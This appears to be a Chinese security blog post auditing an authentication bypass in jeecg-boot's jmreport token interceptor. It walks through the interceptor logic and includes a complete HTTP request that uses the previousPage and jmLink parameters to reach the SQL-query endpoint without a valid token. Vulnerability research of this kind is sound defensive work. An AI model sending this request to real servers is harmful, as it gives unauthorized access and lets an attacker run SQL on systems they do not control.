[代码审计]jeecg-boot最新权限绕过漏洞分析及新绕过发现

如果觉得该文章有帮助的,麻烦师傅们可以搜索下微信公众号:良月安全。点个关注,感谢师傅们的支持。

免责声明

本号所发布的所有内容,包括但不限于信息、工具、项目以及文章,均旨在提供学习与研究之用。所有工具安全性自测。如因此产生的一切不良后果与文章作者和本公众号无关。如有涉及公司与个人敏感信息,侵权烦请告知,我们会立即删除并致歉。

前言

起因是看到都在流传/jeecg-boot/jmreport/save?previousPage=xxx&jmLink=YWFhfHxiYmI=这个payload,便想着去看看是咋回事,大概率就是拦截器里面的token验证绕过,jmreport老版本下的很多接口都是未授权访问的,导致之前爆出了不少漏洞,后来加了token验证,查看代码后发现不止一个地方可以进行权限绕过。

代码分析

具体代码逻辑就在JimuReportTokenInterceptor这个类中,下断点进行调试分析,请求之前披露的漏洞路由/jeecg-boot/jmreport/queryFieldBySql。

首先判断是否有xss payload特征。

如果访问的路由是/jmreport/shareView/,直接返回true,放行。

如果访问的路由不是/jmreport/shareView/,则看这个访问的路由有没有JimuNoLoginRequired注解,有的话也直接返回true,放行。

再判断有没有token传入,并验证token的有效性。

这里没有传入正确的token,接着往下走,this.jimuReportShareService.isSharingEffective方法中判断访问的路由在不在getShareUrls方法返回的List中,如果不在直接返回false。

我们访问的路由不在这个list中,继续往下走,就直接判断有没有传入previousPage参数了,没有的话拦截器会返回false,提示“Token校验失败,无权限访问!”。

现在加上previousPage参数进行访问,这里就会调用到this.jimuReportShareService.isShareingToken方法,只要这个方法返回true,拦截器就会返回true,放行了。

这里再加上网传的payload中的参数jmLink=YWFhfHxiYmI=,给var3赋值后,进行2个判断,只要我们传入的token不存在数据库里,并且访问的路由不是以/jmreport/view开头,就会返回true。

根据上述的分析,不难发现,不仅仅是jmLink参数可以造成权限绕过,还有其他两处地方同样也可以造成权限绕过。

漏洞复现

网传的payload,是jmLink参数参数造成的权限绕过。至于其他两处位置就放在星球的分析文章中。

POST /jeecg-boot/jmreport/queryFieldBySql?previousPage=xxx&jmLink=YWFhfHxiYmI=&token=123123 HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; Baiduspider/2.0; http://www.baidu.com/search/spider.html)
Accept: */*
Accept-Language: zh-CN,zh;q=0.9
Connection: keep-alive
Content-Type: application/json
Cache-Control: no-cache
Pragma: no-cache
Host: 192.168.131.100:8088
Content-Length: 21

{"sql":"select '1' "}

结语

虽然能实现权限绕过了,但上述的几种权限绕过方式只限于/jmreport下的路由,并且之前爆出来的rce的漏洞,官方也已经进行了修复,有权限访问的情况下也无法用之前的payload进行rce了。

  • 60
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值